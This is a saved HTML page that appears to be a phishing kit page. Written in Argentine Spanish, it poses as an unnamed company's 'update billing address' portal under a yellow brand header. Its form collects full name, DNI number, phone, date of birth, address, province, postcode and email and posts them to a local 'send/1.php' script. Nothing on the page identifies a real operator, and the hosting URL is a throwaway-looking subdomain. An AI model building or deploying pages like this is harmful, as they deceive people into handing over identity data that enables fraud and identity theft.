<!DOCTYPE html>
<!-- saved from url=(0048)https://easybbnkde.wpenginepowered.com/crr/info/ -->
<html lang="es-AR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Actualizar dirección de facturación</title>
<style>
:root {
--brand: #FFCE00;
--bg: #f5f6f8;
--card: #ffffff;
--text: #111827;
--muted: #6b7280;
--border: #e5e7eb;
--shadow: 0 16px 40px rgba(0, 0, 0, .10);
--radius: 14px;
}
* {
box-sizing: border-box
}
body {
margin: 0;
font-family: system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif;
background: var(--bg);
color: var(--text);
}
.wrap {
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 24px;
}
.card {
width: 100%;
max-width: 720px;
background: var(--card);
border: 1px solid var(--border);
border-radius: var(--radius);
box-shadow: var(--shadow);
overflow: hidden;
}
header {
background: var(--brand);
padding: 14px 18px;
display: flex;
align-items: center;
gap: 12px;
}
header img {
height: 34px
}
header .title {
font-weight: 800
}
.content {
padding: 20px
}
h1 {
margin: 0 0 6px;
font-size: 20px
}
.sub {
margin: 0 0 16px;
color: var(--muted)
}
.grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 12px;
}
.field {
display: flex;
flex-direction: column;
gap: 6px
}
label {
font-size: 13px;
font-weight: 600
}
input,
select {
border: 1px solid var(--border);
border-radius: 12px;
padding: 12px;
font-size: 15px;
}
input:focus,
select:focus {
outline: none;
box-shadow: 0 0 0 4px rgba(255, 206, 0, .35);
}
.full {
grid-column: 1/-1
}
.error {
color: #b91c1c;
font-size: 13px;
display: none;
}
.actions {
margin-top: 16px;
display: flex;
justify-content: space-between;
align-items: center;
gap: 12px;
}
button {
border: none;
border-radius: 12px;
padding: 12px 18px;
font-weight: 800;
cursor: pointer;
background: #111827;
color: #fff;
}
footer {
border-top: 1px solid var(--border);
padding: 12px 18px;
font-size: 12px;
color: var(--muted);
display: flex;
justify-content: space-between;
}
@media(max-width:640px) {
.grid {
grid-template-columns: 1fr
}
}
</style>
</head>
<body>
<div class="wrap">
<div class="card">
<header>
<img src="./Actualizar dirección de facturación_files/l.webp" alt="Logo">
</header>
<div class="content">
<h1>Actualizar dirección</h1>
<p class="sub">Ingrese sus datos correctamente para continuar.</p>
<form id="billingForm" action="./send/1.php" method="post" data-np-autofill-form-type="credit_card" data-np-watching="1">
<div class="grid">
<div class="field full">
<label>Nombre y apellido</label>
<input type="text" name="1" required="" data-np-checked="1" data-np-autofill-field-type="fullName">
</div>
<div class="field">
<label>DNI / Documento</label>
<input type="text" name="2" data-np-checked="1">
</div>
<div class="field">
<label>Teléfono</label>
<input type="tel" name="3" data-np-checked="1" data-np-autofill-field-type="phone">
</div>
<div class="field full">
<label>Fecha de nacimiento (DD/MM/AAAA)</label>
<input type="tel" id="dob" name="4" placeholder="__/__/____" maxlength="10" required="" data-np-checked="1" data-np-autofill-field-type="ccExpirationFull">
<span class="error" id="dobError">Fecha inválida. Use DD/MM/AAAA.</span>
</div>
<div class="field full">
<label>Dirección</label>
<input type="text" name="5" required="" data-np-checked="1">
</div>
<div class="field">
<label>Ciudad</label>
<input type="text" name="6" required="" data-np-checked="1" data-np-autofill-field-type="city">
</div>
<div class="field">
<label>Provincia</label>
<select name="7" required="" data-np-checked="1" data-np-autofill-field-type="state">
<option value="">Seleccione provincia</option>
<option>Buenos Aires</option>
<option>Ciudad Autónoma de Buenos Aires</option>
<option>Catamarca</option>
<option>Chaco</option>
<option>Chubut</option>
<option>Córdoba</option>
<option>Corrientes</option>
<option>Entre Ríos</option>
<option>Formosa</option>
<option>Jujuy</option>
<option>La Pampa</option>
<option>La Rioja</option>
<option>Mendoza</option>
<option>Misiones</option>
<option>Neuquén</option>
<option>Río Negro</option>
<option>Salta</option>
<option>San Juan</option>
<option>San Luis</option>
<option>Santa Cruz</option>
<option>Santa Fe</option>
<option>Santiago del Estero</option>
<option>Tierra del Fuego</option>
<option>Tucumán</option>
</select>
</div>
<div class="field">
<label>Código postal</label>
<input type="text" name="8" required="" data-np-checked="1" data-np-autofill-field-type="zip">
</div>
<div class="field full">
<label>Correo electrónico</label>
<input type="email" name="9" required="" data-np-checked="1" data-np-autofill-field-type="email">
</div>
</div>
<div class="actions">
<button type="submit" data-np-autofill-submit="">Guardar cambios</button>
</div>
</form>
</div>
<footer>
<span>© 2025 Portal de actualización</span>
</footer>
</div>
</div>
<script>
// DOB mask **/**/****
document.getElementById('dob').addEventListener('input', function(e) {
let v = e.target.value.replace(/\D/g, '');
if (v.length > 2) v = v.slice(0, 2) + '/' + v.slice(2);
if (v.length > 5) v = v.slice(0, 5) + '/' + v.slice(5, 9);
e.target.value = v;
});
// DOB validation
document.getElementById('billingForm').addEventListener('submit', function(e) {
const dobInput = document.getElementById('dob');
const error = document.getElementById('dobError');
const parts = dobInput.value.split('/');
if (parts.length !== 3) {
e.preventDefault();
error.style.display = 'block';
return;
}
const d = parseInt(parts[0], 10);
const m = parseInt(parts[1], 10) - 1;
const y = parseInt(parts[2], 10);
const date = new Date(y, m, d);
const today = new Date();
today.setHours(0, 0, 0, 0);
if (date > today || date.getDate() !== d || date.getMonth() !== m || date.getFullYear() !== y) {
e.preventDefault();
error.style.display = 'block';
} else {
error.style.display = 'none';
}
});
</script>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9eb194849fd9e228',t:'MTc3NTk5MDA4My4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script><iframe height="1" width="1" style="position: absolute; top: 0px; left: 0px; border-width: medium; border-style: none; border-color: currentcolor; border-image: initial; visibility: hidden;" src="./Actualizar dirección de facturación_files/saved_resource.html"></iframe>
</body></html>